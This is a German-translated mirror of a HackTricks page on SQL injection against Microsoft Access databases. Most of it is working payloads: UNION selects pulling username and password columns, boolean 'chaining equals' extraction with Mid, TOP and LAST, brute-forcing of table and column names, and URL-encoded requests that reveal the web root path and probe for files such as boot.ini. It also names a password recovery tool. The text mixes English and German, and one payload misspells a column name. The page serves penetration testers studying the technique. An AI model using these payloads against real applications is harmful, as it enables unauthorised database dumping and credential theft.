mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
194 lines
10 KiB
Markdown
194 lines
10 KiB
Markdown
# MS Access SQL Injection
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Online Playground
|
|
|
|
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
|
|
|
## DB Limitations
|
|
|
|
### String-Konkatenation
|
|
|
|
String-Konkatenation ist mit den Zeichen `& (%26)` und `+ (%2b)` möglich.
|
|
```sql
|
|
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
|
1' UNION SELECT 'web' %26 'app' FROM table%00
|
|
```
|
|
### Kommentare
|
|
|
|
Es gibt keine Kommentare in MS Access, aber anscheinend ist es möglich, das letzte Zeichen einer Abfrage mit einem NULL-Zeichen zu entfernen:
|
|
```sql
|
|
1' union select 1,2 from table%00
|
|
```
|
|
Wenn dies nicht funktioniert, könnten Sie immer die Syntax der Abfrage korrigieren:
|
|
```sql
|
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
|
```
|
|
### Stacked Queries
|
|
|
|
Sie werden nicht unterstützt.
|
|
|
|
### LIMIT
|
|
|
|
Der **`LIMIT`** Operator **ist nicht implementiert**. Es ist jedoch möglich, die Ergebnisse von SELECT-Abfragen auf die **ersten N Tabellenzeilen mit dem `TOP` Operator** zu beschränken. `TOP` akzeptiert als Argument eine Ganzzahl, die die Anzahl der zurückzugebenden Zeilen darstellt.
|
|
```sql
|
|
1' UNION SELECT TOP 3 attr FROM table%00
|
|
```
|
|
Just like TOP you can use **`LAST`** which will get the **Zeilen vom Ende**.
|
|
|
|
## UNION-Abfragen/Unterabfragen
|
|
|
|
In einer SQLi möchten Sie normalerweise irgendwie eine neue Abfrage ausführen, um Informationen aus anderen Tabellen zu extrahieren. MS Access erfordert immer, dass in **Unterabfragen oder zusätzlichen Abfragen ein `FROM` angegeben wird**.\
|
|
Wenn Sie also ein `UNION SELECT` oder `UNION ALL SELECT` oder ein `SELECT` in Klammern in einer Bedingung ausführen möchten, müssen Sie immer **ein `FROM` mit einem gültigen Tabellennamen angeben**.\
|
|
Daher müssen Sie einen **gültigen Tabellennamen** kennen.
|
|
```sql
|
|
-1' UNION SELECT username,password from users%00
|
|
```
|
|
### Chaining equals + Substring
|
|
|
|
{% hint style="warning" %}
|
|
Dies ermöglicht es Ihnen, Werte der aktuellen Tabelle zu exfiltrieren, ohne den Namen der Tabelle zu kennen.
|
|
{% endhint %}
|
|
|
|
**MS Access** erlaubt **seltsame Syntax** wie **`'1'=2='3'='asd'=false`**. Wie üblich wird die SQL-Injection innerhalb einer **`WHERE`**-Klausel sein, die wir ausnutzen können.
|
|
|
|
Stellen Sie sich vor, Sie haben eine SQLi in einer MS Access-Datenbank und Sie wissen (oder haben geraten), dass ein **Spaltenname username** ist, und das ist das Feld, das Sie **exfiltrieren** möchten. Sie könnten die verschiedenen Antworten der Webanwendung überprüfen, wenn die Chaining Equals-Technik verwendet wird, und möglicherweise Inhalte mit einer **boolean injection** exfiltrieren, indem Sie die **`Mid`**-Funktion verwenden, um Teilstrings zu erhalten.
|
|
```sql
|
|
'=(Mid(username,1,3)='adm')='
|
|
```
|
|
Wenn Sie den **Namen der Tabelle** und **Spalte** kennen, die Sie dumpen möchten, können Sie eine Kombination aus `Mid`, `LAST` und `TOP` verwenden, um **alle Informationen** über boolean SQLi **zu leaken**:
|
|
```sql
|
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
|
```
|
|
_Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen._
|
|
|
|
### Brute-forcing Tabellen Namen
|
|
|
|
Mit der Chaining Equals-Technik können Sie auch **Tabellennamen bruteforcen** mit etwas wie:
|
|
```sql
|
|
'=(select+top+1+'lala'+from+<table_name>)='
|
|
```
|
|
Sie können auch eine traditionellere Methode verwenden:
|
|
```sql
|
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
|
```
|
|
_Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen._
|
|
|
|
* Sqlmap häufige Tabellennamen: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
|
* Es gibt eine weitere Liste unter [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
### Brute-Forcing Spaltennamen
|
|
|
|
Sie können **aktuelle Spaltennamen brute-forcen** mit dem Ketten-Equals-Trick mit:
|
|
```sql
|
|
'=column_name='
|
|
```
|
|
Oder mit einem **group by**:
|
|
```sql
|
|
-1' GROUP BY column_name%00
|
|
```
|
|
Oder Sie können die Spaltennamen einer **anderen Tabelle** mit folgendem Befehl brute-forcen:
|
|
```sql
|
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
|
|
|
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
|
```
|
|
### Dumping data
|
|
|
|
Wir haben bereits die [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **besprochen, um Daten aus der aktuellen und anderen Tabellen zu dumpen**. Aber es gibt auch andere Möglichkeiten:
|
|
```sql
|
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
|
```
|
|
In Kürze verwendet die Abfrage eine "if-then"-Anweisung, um im Erfolgsfall einen "200 OK" oder andernfalls einen "500 Internal Error" auszulösen. Durch die Nutzung des TOP 10-Operators ist es möglich, die ersten zehn Ergebnisse auszuwählen. Die anschließende Verwendung von LAST ermöglicht es, nur das 10. Tupel zu betrachten. Mit diesem Wert kann man unter Verwendung des MID-Operators einen einfachen Zeichenvergleich durchführen. Durch das ordnungsgemäße Ändern des Index von MID und TOP können wir den Inhalt des Feldes "username" für alle Zeilen dumpen.
|
|
|
|
### Zeitbasiert
|
|
|
|
Überprüfen Sie [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
|
|
|
### Andere interessante Funktionen
|
|
|
|
* `Mid('admin',1,1)` erhält Teilzeichenfolge von Position 1 Länge 1 (Startposition ist 1)
|
|
* `LEN('1234')` erhält die Länge der Zeichenfolge
|
|
* `ASC('A')` erhält den ASCII-Wert des Zeichens
|
|
* `CHR(65)` erhält die Zeichenfolge aus dem ASCII-Wert
|
|
* `IIF(1=1,'a','b')` wenn dann
|
|
* `COUNT(*)` Zählt die Anzahl der Elemente
|
|
|
|
## Auflisten von Tabellen
|
|
|
|
Von [**hier**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) können Sie eine Abfrage sehen, um Tabellennamen zu erhalten:
|
|
```sql
|
|
select MSysObjects.name
|
|
from MSysObjects
|
|
where
|
|
MSysObjects.type In (1,4,6)
|
|
and MSysObjects.name not like '~*'
|
|
and MSysObjects.name not like 'MSys*'
|
|
order by MSysObjects.name
|
|
```
|
|
However, note that is very typical to find SQL Injections where you **kein Zugriff auf die Tabelle `MSysObjects` haben**.
|
|
|
|
## FileSystem-Zugriff
|
|
|
|
### Vollständiger Pfad des Web-Stammverzeichnisses
|
|
|
|
Das Wissen um den **absoluten Pfad des Web-Stammverzeichnisses kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht existierenden Datenbank auszuwählen.
|
|
|
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
|
|
|
MS Access antwortet mit einer **Fehlermeldung, die den vollständigen Pfad des Web-Verzeichnisses enthält**.
|
|
|
|
### Dateizählung
|
|
|
|
Der folgende Angriffsvektor kann verwendet werden, um **die Existenz einer Datei im entfernten Dateisystem zu ermitteln**. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die informiert, dass das Datenbankformat ungültig ist:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
|
|
|
Eine andere Möglichkeit, Dateien aufzulisten, besteht darin, **ein Datenbank.tabelle-Element anzugeben**. **Wenn** die angegebene **Datei existiert**, zeigt MS Access eine **Fehlermeldung zum Datenbankformat** an.
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
|
|
|
### .mdb Dateinamenraten
|
|
|
|
**Der Datenbankdateiname (.mdb)** kann mit der folgenden Abfrage abgeleitet werden:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
|
|
|
Wo **name\[i] ein .mdb-Dateiname** und **realTable eine existierende Tabelle** innerhalb der Datenbank ist. Obwohl MS Access immer eine Fehlermeldung auslöst, ist es möglich, zwischen einem ungültigen Dateinamen und einem gültigen .mdb-Dateinamen zu unterscheiden.
|
|
|
|
### .mdb Passwort-Cracker
|
|
|
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ist ein kostenloses Tool, das verwendet werden kann, um das Hauptdatenbankpasswort von Microsoft Access 95/97/2000/XP oder Jet Database Engine 3.0/4.0 wiederherzustellen.
|
|
|
|
## Referenzen
|
|
|
|
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|